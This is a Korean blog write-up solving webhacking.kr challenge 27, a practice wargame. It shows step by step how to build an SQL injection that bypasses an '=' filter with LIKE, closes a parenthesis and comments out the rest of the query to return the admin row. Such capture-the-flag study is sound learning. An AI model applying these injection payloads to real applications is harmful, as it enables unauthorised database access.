정구리의 우주정복
webhacking.kr 27번 문제 본문
뚜둥 등장
처음에 들어가면 SQL INJECTION 이라고 써져있는 화면이 나온다
쏘쓰를 봐보쟈
index.phps 로 들어가라고 하니까 가보도록 하자
index.phps 의 쏘쓰다
no값을 받고 eregi 로 문자열들을 필터링 해주고
select id from challenge where id='guest' and no=($_GET[no]) or die("query error")
이런 쿼리문이 있다
그리고 solve의 조건은 id가 admin 일 때다
저번에 sql injection 문제랑 푸는 조건은 같다 !
일단 input에 값을 넣어보자
1을 넣은경우에는 guest 라고 나온다
2를 넣은 경우에는 이렇게 출력이 된다
no id
1 guest
? admin
이러한 형태의 테이블이 아닐까 라고 생각을 해본다
그럼 생각해야할것을 정리해보자
1) id 값을 admin으로 바꿔줘야함 ->or을 사용해주자 (그럼 or이 두개가 되는데 ?)
2) no=2 이런 형태일때 =가 필터링이 됨 ->like 를 사용해서 해결할 수 있음
3) get으로 불러오는 부분에 괄호가 있음 ! ->안에 값을 잘 생각해서 넣어보자 !!
1) or을 사용하기
select id from challenge where id='guest' and no=(3 or no=2) or die("query error")
이때는 or문이 두개가 되고 no에괄호가 있고 =이 필터링이 된다
2) like의 사용
select id from challenge where id='guest' and no=(3 or no like 2) or die("query error")
=이 필터링 되는 문제를 해결했지만 or문이 두개인거랑 괄호가 남음
3) 괄호를 닫아주자
select id from challenge where id='guest' and no=(3) or no like 2) or die("query error")
4) 뒷부분을 주석처리 해버리기
select id from challenge where id='guest' and no=(3) or no like 2-- ) or die("query error")
--은 주석처리를 해버리는거다 (--를 사용하면 뒤에 공백을 붙여줘야한다 공백을 쓰기 싫으면 #를 써도됨!)
그래서 파란 글씨부분이 주석처리가 되면서 쿼리문은
select id from challenge where id='guest' and no=(3) or no like 2
이렇게 되게 된다 ! 입력을 해보면
Clear !
'WEB HACKING > CLEAR!' 카테고리의 다른 글
wargame.kr flee button 풀이 (0) | 2018.10.19 |
---|---|
wargame.kr already got 풀이 (0) | 2018.10.19 |
webhacking.kr 39번 문제 (0) | 2018.09.25 |
webhacking.kr 38번 문제 (0) | 2018.09.23 |
webhacking.kr 24번 문제 (0) | 2018.09.22 |